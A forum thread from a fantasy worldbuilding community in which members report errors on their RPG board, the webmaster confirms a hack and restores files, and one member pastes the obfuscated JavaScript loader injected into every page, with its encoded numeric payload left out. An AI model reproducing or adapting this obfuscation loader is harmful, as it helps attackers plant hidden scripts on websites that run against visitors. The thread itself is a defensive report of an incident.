Has the RPG Board been hacked?

Dreamer's Code
Bellring a Member
Report Mistakes/Typos
Report Easter Eggs

About Masterplans
Santhworld: Program
SW.: Game Designer
SW.: Treasure Shoals
SW.: Lorehold
SW.: Nepris
SW.: Trivia
Santharia: Manthria
Nybelmar: Zhunite Pl.
Sarvonia: Icelands

World Map Overview
Distances in Caelereth
Climate Map of Sarvonia
Continent: Aeruillin
Continent: Akdor
Continent: Cyhalloi
Continent: Nybelmar
Continent: +Details NE
Continent: +Details NW
Continent: +Details SE
Continent: +Details SW
Continent: +Politics
Continent: Sarvonia
Lands: Icelands
Lands: +Tribes
Lands: Caael'heroth
Lands: Iol Peninsula
Lands: Kanapans
Lands: Kuglim Lands
Kingdom: Santharia
Kingdom: +Ancient
Kingdom: +Provinces
Kingdom: +Rivers
Kingdom: +Routes
Details: Manthria
Details: Vardýnn
Details: Ráhaz-Dáth
Details: Silvermarshes

Create Beasts
Create Plants
Create Races/Tribes
Create People
People Nomenclature
Create Places
Create Gods, Myths...
Create Spells/Magic
Create Library Entries
Create Misc. Stuff

Reserving Resources
Arbaon Pictures
Bard Judith Pictures
Eratin Pictures
Faugar Pictures
Grunok's Pictures
Ingeborg Pictures
Isilhir Pictures
Koldar Pictures
Linda Tso Pictures
Quellion Pictures
Quellion Pictures II
Shayan's Pictures
Seeker Pictures
Sheil Pictures
Sheil Pictures II

Proverbs & Sayings
Styrásh (Elvish)
Thergerim (Dwarvish)
Kuglimz'Seitre
Kh'omchr'om (Orcish)
Trollish

[Rayne (Alýr)]

I'm getting a fatal error when I try to access it:

Fatal error: Cannot redeclare security_update() (previously declared in /home/santha5/public_html/adv/Sources/Load.php(1743) : eval()'d code:1) in /home/santha5/public_html/adv/Sources/Load.php(1743) : eval()'d code on line 1

I first got the message last night, and I'm still getting it this morning. Does anyone else get this message when they access the RPG Boards?

[Athviaro Shyu-eck-Silfayr]

According to the shoutbox, Dek and I both got it. Unfortunately Arti's an absent one at the moment (clumsy, but I couldn't resist the Artisan joke *quails in fear and runs from the flaming eyes of people with good senses of humour*)

Anyway, yes. Precisely the same error.

Ath

[Valan Nonesuch]

Same message I think, posted for the sake of comparison

Fatal error: Cannot redeclare security_update() (previously declared in /home/santha5/public_html/adv/Sources/Load.php(1743) : eval()'d code:1) in /home/santha5/public_html/adv/Sources/Load.php(1743) : eval()'d code on line 1[/qupte]

[Mina]

There is apparently some sort of script on that page.  The code seems to match the one shown on this site.  I have no idea what it does though. 

[Irid alMenie]

I have it too. Started replying in the shout box but didn't for some reason.

[Rayne (Alýr)]

I searched for the error and found Artimidor's old posts on a forum from when the Developer's forum had this issue. Created an account, posted the issue, and got a reply: here's the thread. However, as I'm not an administrator, I've more or less done all I can do at this point. From here, we'll have to wait for Artimidor or Altario.

[Kareesh Valendar]

When I tried to access it today, my AVG said that there was a threat on the page. It says "Virus found JS/Obfuscated".

[Deklitch Hardin]

It sounds to me like it is more of an Artimidor job than an Altario one. That definitely seems like a virus and porbably needs the expertise of our dear webmaster. Knowing how to fix up something like that would be way beyond my skills.

[Altario Shialt-eck-Gorrin]

I can't get on either.  And I have no extra powers on this side.  I thought it was just me, as it had happened to me before when I changed my Theme.

Heh, when I can't play, no one gets to play.

[Artimidor Federkiel]

Definitely hacked. Can't fix it from my office, though, but will see to it this evening!

[Artimidor Federkiel]

Ok... Problem should be fixed now again - please report if you still notice a problem somewhere!

[Mina]

Clicking the "Forum" button gives a similar error page.  Individual threads are still accessible if you have a link to them though. 

The script I mentioned is still present as well.  You can see it if you use "view source" and scroll to the bottom.  Not quite sure what happened, but it might have been inserted into some file that is loaded by all the forum pages, because it seems to be on every page.  Maybe index.php, since that's the one all the URLs show. 

Also, the banner at the top of the forum leads to the dev board. 

[Irid alMenie]

I don't see any problems anymore... Thank you Arti!  Aura for you!

[Artimidor Federkiel]

@Mina: I see... These idiots of course also went for various subfolders, so I've replaced these files now as well with versions from the Dev Board. The Forum page displays again, banner pic and link are fixed. Thanks for reporting!

If you still notice something strange behaviour, let me know, but I should have gotten all troublemaking files now...

[Mina]

I still see the extra code when I check, but I'm not sure if it's really there or if my browser isn't refreshing properly.  Could you check it again just in case? 

For reference, here's what it looks like:  (extremely long line of numbers removed to avoid distorting the post)

Code:

<script>

(function($$,_2,_1,doc,tk) {

var xo="";

function qq2(cid){cid=~~cid;return ["L", (extremely long line of numbers) ];}



function co() {

return 'Code';

}

function gafu() {

xxx=a(String, 'f' + ro() + co());

return function(q){return xxx(q);};

};

rex = [gafu(),gafu()];





function choo(k) {

if (k < 9) {

return 1

} else {

return 2

}

};



d = '';

mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2,8,2,10,2,11,2,12,2,13,2,14,2,15,2,17,2,18,2,19,2,20,2,21,2,22,2,23,2,24,2,25,2,26,2,27,2,28,2,29];

map = ''; xo = doc;



function fs(ro, arr, add, st, en,dp) {

//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem

var hf = ((en+st)>>1);

if(en-st>16)

{

//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis

return fs(ro, arr, add, st, hf,dp+1) + fs(ro,arr, add, hf, en,dp+1);

}else{

var rt='';rx1=rex[add-29];

for(var rj=st;rj<en;rj++){

if(typeof arr[rj]!='string'){

rt+=rx1(arr[rj]+add);}

}

//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi

return rt;

}

}

map += fs(map, mapper, 30, 0,mapper.length);

//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland



function a(b, c) {

return b[c];

};



function ro() {

return 'romChar';

}

rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);

//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur

try{

$$(_1(map,rd,choo,_2).replace('?n','in'));}catch(e){}

})(function(jsBb) {

return (function(jsB, jsBs) {

return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()

})((function(jsB) {

return jsB.constructor

}), (function(jsB) {

return (function(jsBs) {

//accumsan dapibus diam

return jsB.call(jsB, jsBs)

})

}))

},function(tt){return tt.pop();},

function(kk,dd,ch,pp){

for(var c=kk.length;c>0;){

var x=ch(c);

c-=x;

var rep=kk.substr(c, x);

//accumsan dapibus diam

var t = dd.split(rep);

dd=t.join(pp(t));

};return dd;

},document,document.getElementsByTagName('title'));

/**/

if(typeof gloa=='function')gloa();

</script>

   About this Board
   Dev Introduction
   Developer's 1x1
   Technical Forum Stuff
   Advanced Forum Help
   Testing Thread
   Where's the game?

Advanced search

[Members]

Members Total Members: 1019 Latest: lolanixon Stats Total Posts: 144590 Total Topics: 11052 Online Today: 34 Online Ever: 700 (23 January 2020, 20:05:39) Users Online Users: 0 Guests: 26 Total: 26

[Artimidor]

	Powered by SMF 1.1.21 | SMF © 2005, Simple Machines TinyPortal v0.9.8 © Bloc
Theme based on Cerberus with Risen adjustments by Bloc and Krelia Modified By Artimidor for The Santharian Dream